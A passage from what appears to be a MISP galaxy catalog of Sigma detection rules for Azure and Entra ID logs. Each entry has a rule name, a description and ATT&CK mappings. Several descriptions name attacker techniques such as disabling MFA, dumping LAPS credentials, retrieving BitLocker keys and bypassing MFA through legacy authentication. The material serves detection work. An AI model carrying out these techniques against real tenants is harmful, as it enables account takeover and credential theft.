- related-to: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 17105. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure#conditional-access
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_group_user_removal_ca_modification.yml

Multi Factor Authentication Disabled For User Account

Detects changes to the "StrongAuthenticationRequirement" value, where the state is set to "0" or "Disabled". Threat actors were seen disabling multi factor authentication for users in order to maintain or achieve access to the account. Also see in SIM Swap attacks.

The tag is: *misp-galaxy:sigma-rules="Multi Factor Authentication Disabled For User Account"*

Table 17106. Table References

Links
https://www.sans.org/blog/defending-against-scattered-spider-and-the-com-with-cybercrime-intelligence/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_user_account_mfa_disable.yml

Users Added to Global or Device Admin Roles

Monitor and alert for users added to device admin roles.

The tag is: *misp-galaxy:sigma-rules="Users Added to Global or Device Admin Roles"*

View relationships graph

Users Added to Global or Device Admin Roles has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17107. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#device-administrator-roles
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_users_added_to_device_admin_roles.yml

Privileged Account Creation

Detects when a new admin is created.

The tag is: *misp-galaxy:sigma-rules="Privileged Account Creation"*

View relationships graph

Privileged Account Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17108. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts#changes-to-privileged-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_privileged_account_creation.yml

User Added To Privilege Role

Detects when a user is added to a privileged role.

The tag is: *misp-galaxy:sigma-rules="User Added To Privilege Role"*

View relationships graph

User Added To Privilege Role has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17109. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-identity-management#azure-ad-roles-assignment
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_priviledged_role_assignment_add.yml

Changes to Device Registration Policy

Monitor and alert for changes to the device registration policy.

The tag is: *misp-galaxy:sigma-rules="Changes to Device Registration Policy"*

View relationships graph

Changes to Device Registration Policy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain or Tenant Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"

Table 17110. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#device-registrations-and-joins-outside-policy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_device_registration_policy_changes.yml

Guest Users Invited To Tenant By Non Approved Inviters

Detects guest users being invited to tenant by non-approved inviters

The tag is: *misp-galaxy:sigma-rules="Guest Users Invited To Tenant By Non Approved Inviters"*

View relationships graph

Guest Users Invited To Tenant By Non Approved Inviters has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17111. Table References

Links
https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts#monitoring-external-user-sign-ins
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml

New CA Policy by Non-approved Actor

Monitor and alert on conditional access changes.

The tag is: *misp-galaxy:sigma-rules="New CA Policy by Non-approved Actor"*

View relationships graph

New CA Policy by Non-approved Actor has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

Table 17112. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_aad_secops_new_ca_policy_addedby_bad_actor.yml

Azure Domain Federation Settings Modified

Identifies when an user or application modified the federation settings on the domain.

The tag is: *misp-galaxy:sigma-rules="Azure Domain Federation Settings Modified"*

View relationships graph

Azure Domain Federation Settings Modified has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17113. Table References

Links
https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-monitor-federation-changes
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_federation_modified.yml

End User Consent

Detects when an end user consents to an application

The tag is: *misp-galaxy:sigma-rules="End User Consent"*

View relationships graph

End User Consent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"

Table 17114. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#end-user-consent
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_end_user_consent.yml

Guest User Invited By Non Approved Inviters

Detects when a user that doesn't have permissions to invite a guest user attempts to invite one.

The tag is: *misp-galaxy:sigma-rules="Guest User Invited By Non Approved Inviters"*

View relationships graph

Guest User Invited By Non Approved Inviters has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17115. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts#things-to-monitor
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_guest_invite_failure.yml

Temporary Access Pass Added To An Account

Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated

The tag is: *misp-galaxy:sigma-rules="Temporary Access Pass Added To An Account"*

View relationships graph

Temporary Access Pass Added To An Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17116. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts#changes-to-privileged-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_tap_added.yml

Password Reset By User Account

Detect when a user has reset their password in Azure AD

The tag is: *misp-galaxy:sigma-rules="Password Reset By User Account"*

View relationships graph

Password Reset By User Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17117. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_user_password_change.yml

Added Credentials to Existing Application

Detects when a new credential is added to an existing application. Any additional credentials added outside of expected processes could be a malicious actor using those credentials.

The tag is: *misp-galaxy:sigma-rules="Added Credentials to Existing Application"*

View relationships graph

Added Credentials to Existing Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001" with estimative-language:likelihood-probability="almost-certain"

Table 17118. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-credentials
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_credential_added.yml

Changes To PIM Settings

Detects when changes are made to PIM roles

The tag is: *misp-galaxy:sigma-rules="Changes To PIM Settings"*

View relationships graph

Changes To PIM Settings has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17119. Table References

Links

https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-identity-management#azure-ad-roles-assignment
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_pim_change_settings.yml

Application URI Configuration Changes

Detects when a configuration change is made to an applications URI. URIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.

The tag is: *misp-galaxy:sigma-rules="Application URI Configuration Changes"*

View relationships graph

Application URI Configuration Changes has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17120. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-configuration-changes
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_uri_modifications.yml

User Added To Group With CA Policy Modification Access

Monitor and alert on group membership additions of groups that have CA policy modification access

The tag is: *misp-galaxy:sigma-rules="User Added To Group With CA Policy Modification Access"*

View relationships graph

User Added To Group With CA Policy Modification Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 17121. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure#conditional-access
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_group_user_addition_ca_modification.yml

Added Owner To Application

Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application.

The tag is: *misp-galaxy:sigma-rules="Added Owner To Application"*

View relationships graph

Added Owner To Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"

Table 17122. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#new-owner
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_owner_added.yml

User Risk and MFA Registration Policy Updated

Detects changes and updates to the user risk and MFA registration policy. Attackers can modified the policies to Bypass MFA, weaken security thresholds, facilitate further attacks, maintain persistence.

The tag is: *misp-galaxy:sigma-rules="User Risk and MFA Registration Policy Updated"*

Table 17123. Table References

Links
https://learn.microsoft.com/en-us/entra/id-protection/howto-identity-protection-configure-mfa-policy
https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_update_risk_and_mfa_registration_policy.yml

New Root Certificate Authority Added

Detects newly added root certificate authority to an AzureAD tenant to support certificate based authentication.

The tag is: *misp-galaxy:sigma-rules="New Root Certificate Authority Added"*

View relationships graph

New Root Certificate Authority Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 17124. Table References

Links
https://posts.specterops.io/passwordless-persistence-and-privilege-escalation-in-azure-98a01310be3f
https://goodworkaround.com/2022/02/15/digging-into-azure-ad-certificate-based-authentication/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_new_root_ca_added.yml

Windows LAPS Credential Dump From Entra ID

Detects when an account dumps the LAPS password from Entra ID.

The tag is: *misp-galaxy:sigma-rules="Windows LAPS Credential Dump From Entra ID"*

View relationships graph

Windows LAPS Credential Dump From Entra ID has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Device Registration - T1098.005" with estimative-language:likelihood-probability="almost-certain"

Table 17125. Table References

Links
https://www.cloudcoffee.ch/microsoft-365/configure-windows-laps-in-microsoft-intune/
https://techcommunity.microsoft.com/t5/microsoft-entra-blog/introducing-windows-local-administrator-password-solution-with/ba-p/1942487
https://twitter.com/NathanMcNulty/status/1785051227568632263
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_auditlogs_laps_credential_dumping.yml

App Assigned To Azure RBAC/Microsoft Entra Role

Detects when an app is assigned Azure AD roles, such as global administrator, or Azure RBAC roles, such as subscription owner.

The tag is: *misp-galaxy:sigma-rules="App Assigned To Azure RBAC/Microsoft Entra Role"*

View relationships graph

App Assigned To Azure RBAC/Microsoft Entra Role has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003" with estimative-language:likelihood-probability="almost-certain"

Table 17126. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#service-principal-assigned-to-a-role
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_role_added.yml

Delegated Permissions Granted For All Users

Detects when highly privileged delegated permissions are granted on behalf of all users

The tag is: *misp-galaxy:sigma-rules="Delegated Permissions Granted For All Users"*

View relationships graph

Delegated Permissions Granted For All Users has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"

Table 17127. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-granted-highly-privileged-permissions
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_delegated_permissions_all_users.yml

PIM Approvals And Deny Elevation

Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated.

The tag is: *misp-galaxy:sigma-rules="PIM Approvals And Deny Elevation"*

View relationships graph

PIM Approvals And Deny Elevation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17128. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-identity-management#azure-ad-roles-assignment
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_pim_activation_approve_deny.yml

App Granted Privileged Delegated Or App Permissions

Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions

The tag is: *misp-galaxy:sigma-rules="App Granted Privileged Delegated Or App Permissions"*

View relationships graph

App Granted Privileged Delegated Or App Permissions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003" with estimative-language:likelihood-probability="almost-certain"

Table 17129. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-granted-highly-privileged-permissions
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_privileged_permissions.yml

User State Changed From Guest To Member

Detects the change of user type from "Guest" to "Member" for potential elevation of privilege.

The tag is: *misp-galaxy:sigma-rules="User State Changed From Guest To Member"*

View relationships graph

User State Changed From Guest To Member has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17130. Table References

Links
https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts#monitoring-external-user-sign-ins
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_guest_to_member.yml

CA Policy Updated by Non Approved Actor

Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare "old" vs "new" value.

The tag is: *misp-galaxy:sigma-rules="CA Policy Updated by Non Approved Actor"*

View relationships graph

CA Policy Updated by Non Approved Actor has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 17131. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure#conditional-access
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_aad_secops_ca_policy_updatedby_bad_actor.yml

PIM Alert Setting Changes To Disabled

Detects when PIM alerts are set to disabled.

The tag is: *misp-galaxy:sigma-rules="PIM Alert Setting Changes To Disabled"*

View relationships graph

PIM Alert Setting Changes To Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17132. Table References

Links

https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-identity-management#azure-ad-roles-assignment
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_pim_alerts_disabled.yml

Change to Authentication Method

Change to authentication method could be an indicator of an attacker adding an auth method to the account so they can have continued access.

The tag is: *misp-galaxy:sigma-rules="Change to Authentication Method"*

View relationships graph

Change to Authentication Method has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 17133. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_change_to_authentication_method.yml

Azure Subscription Permission Elevation Via AuditLogs

Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn't planned. This setting could allow an attacker access to Azure subscriptions in your environment.

The tag is: *misp-galaxy:sigma-rules="Azure Subscription Permission Elevation Via AuditLogs"*

View relationships graph

Azure Subscription Permission Elevation Via AuditLogs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17134. Table References

Links

https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts#assignment-and-elevation
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_subscription_permissions_elevation_via_auditlogs.yml

CA Policy Removed by Non Approved Actor

Monitor and alert on conditional access changes where non approved actor removed CA Policy.

The tag is: *misp-galaxy:sigma-rules="CA Policy Removed by Non Approved Actor"*

View relationships graph

CA Policy Removed by Non Approved Actor has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 17135. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure#conditional-access
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_aad_secops_ca_policy_removedby_bad_actor.yml

App Granted Microsoft Permissions

Detects when an application is granted delegated or app role permissions for Microsoft Graph, Exchange, Sharepoint, or Azure AD

The tag is: *misp-galaxy:sigma-rules="App Granted Microsoft Permissions"*

View relationships graph

App Granted Microsoft Permissions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"

Table 17136. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-granted-highly-privileged-permissions

https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_permissions_msft.yml

Application AppID Uri Configuration Changes

Detects when a configuration change is made to an applications AppID URI.

The tag is: *misp-galaxy:sigma-rules="Application AppID Uri Configuration Changes"*

View relationships graph

Application AppID Uri Configuration Changes has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17137. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#appid-uri-added-modified-or-removed
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_appid_uri_changes.yml

End User Consent Blocked

Detects when end user consent is blocked due to risk-based consent.

The tag is: *misp-galaxy:sigma-rules="End User Consent Blocked"*

View relationships graph

End User Consent Blocked has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"

Table 17138. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#end-user-stopped-due-to-risk-based-consent
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_end_user_consent_blocked.yml

Account Created And Deleted Within A Close Time Frame

Detects when an account was created and deleted in a short period of time.

The tag is: *misp-galaxy:sigma-rules="Account Created And Deleted Within A Close Time Frame"*

View relationships graph

Account Created And Deleted Within A Close Time Frame has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17139. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#short-lived-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_account_created_deleted.yml

Bitlocker Key Retrieval

Monitor and alert for Bitlocker key retrieval.

The tag is: *misp-galaxy:sigma-rules="Bitlocker Key Retrieval"*

View relationships graph

Bitlocker Key Retrieval has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17140. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#bitlocker-key-retrieval
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_bitlocker_key_retrieval.yml

Certificate-Based Authentication Enabled

Detects when certificate based authentication has been enabled in an Azure Active Directory tenant.

The tag is: *misp-galaxy:sigma-rules="Certificate-Based Authentication Enabled"*

View relationships graph

Certificate-Based Authentication Enabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 17141. Table References

Links
https://posts.specterops.io/passwordless-persistence-and-privilege-escalation-in-azure-98a01310be3f
https://goodworkaround.com/2022/02/15/digging-into-azure-ad-certificate-based-authentication/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_certificate_based_authencation_enabled.yml

Bulk Deletion Changes To Privileged Account Permissions

Detects when a user is removed from a privileged role. Bulk changes should be investigated.

The tag is: *misp-galaxy:sigma-rules="Bulk Deletion Changes To Privileged Account Permissions"*

View relationships graph

Bulk Deletion Changes To Privileged Account Permissions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 17142. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-identity-management#azure-ad-roles-assignment
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_priviledged_role_assignment_bulk_change.yml

Potential MFA Bypass Using Legacy Client Authentication

Detects successful authentication from potential clients using legacy authentication via user agent strings. This could be a sign of MFA bypass using a password spray attack.

The tag is: *misp-galaxy:sigma-rules="Potential MFA Bypass Using Legacy Client Authentication"*

View relationships graph

Potential MFA Bypass Using Legacy Client Authentication has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 17143. Table References

Links
https://web.archive.org/web/20230217071802/https://blooteem.com/march-2022
https://www.microsoft.com/en-us/security/blog/2021/10/26/protect-your-business-from-password-sprays-with-microsoft-dart-recommendations/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_suspicious_signin_bypassing_mfa.yml

Azure AD Only Single Factor Authentication Required

Detect when users are authenticating without MFA being required.

The tag is: *misp-galaxy:sigma-rules="Azure AD Only Single Factor Authentication Required"*

View relationships graph

Azure AD Only Single Factor Authentication Required has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication - T1556.006" with estimative-language:likelihood-probability="almost-certain"

Table 17144. Table References

Links
https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_only_single_factor_auth_required.yml

Successful Authentications From Countries You Do Not Operate Out Of

Detect successful authentications from countries you do not operate out of.

The tag is: *misp-galaxy:sigma-rules="Successful Authentications From Countries You Do Not Operate Out Of"*

View relationships graph

Successful Authentications From Countries You Do Not Operate Out Of has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 17145. Table References

Links
https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml

Measurable Increase Of Successful Authentications

Detects when successful sign-ins increased by 10% or greater.

The tag is: *misp-galaxy:sigma-rules="Measurable Increase Of Successful Authentications"*

View relationships graph

Measurable Increase Of Successful Authentications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17146. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#monitoring-for-successful-unusual-sign-ins
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_auth_sucess_increase.yml

Discovery Using AzureHound

Detects AzureHound (A BloodHound data collector for Microsoft Azure) activity via the default User-Agent that is used during its operation after successful authentication.

The tag is: *misp-galaxy:sigma-rules="Discovery Using AzureHound"*

View relationships graph

Discovery Using AzureHound has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004" with estimative-

language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526" with estimative-language:likelihood-probability="almost-certain"

Table 17147. Table References

Links
https://github.com/BloodHoundAD/AzureHound
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_azurehound_discovery.yml

Sign-ins from Non-Compliant Devices

Monitor and alert for sign-ins where the device was non-compliant.

The tag is: *misp-galaxy:sigma-rules="Sign-ins from Non-Compliant Devices"*

View relationships graph

Sign-ins from Non-Compliant Devices has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17148. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#non-compliant-device-sign-in
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_sign_ins_from_noncompliant_devices.yml

Suspicious SignIns From A Non Registered Device

Detects risky authentication from a non AD registered device without MFA being required.

The tag is: *misp-galaxy:sigma-rules="Suspicious SignIns From A Non Registered Device"*

View relationships graph

Suspicious SignIns From A Non Registered Device has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17149. Table References

Links

https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#non-compliant-device-sign-in
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_risky_sign_ins_with_singlefactorauth_from_unknown_devices.yml

Applications That Are Using ROPC Authentication Flow

Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly. The application then uses those credentials to authenticate the user against the identity provider.

The tag is: *misp-galaxy:sigma-rules="Applications That Are Using ROPC Authentication Flow"*

View relationships graph

Applications That Are Using ROPC Authentication Flow has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17150. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-authentication-flows
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_app_ropc_authentication.yml

Use of Legacy Authentication Protocols

Alert on when legacy authentication has been used on an account

The tag is: *misp-galaxy:sigma-rules="Use of Legacy Authentication Protocols"*

View relationships graph

Use of Legacy Authentication Protocols has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 17151. Table References

Links

https://learn.microsoft.com/en-gb/entra/architecture/security-operations-privileged-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_legacy_authentication_protocols.yml

User Access Blocked by Azure Conditional Access

Detect access has been blocked by Conditional Access policies. The access policy does not allow token issuance which might be sights≈ of unauthorizeed login to valid accounts.

The tag is: *misp-galaxy:sigma-rules="User Access Blocked by Azure Conditional Access"*

View relationships graph

User Access Blocked by Azure Conditional Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17152. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_user_login_blocked_by_conditional_access.yml

Multifactor Authentication Interrupted

Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can’t pass the MFA challenge.

The tag is: *misp-galaxy:sigma-rules="Multifactor Authentication Interrupted"*

View relationships graph

Multifactor Authentication Interrupted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
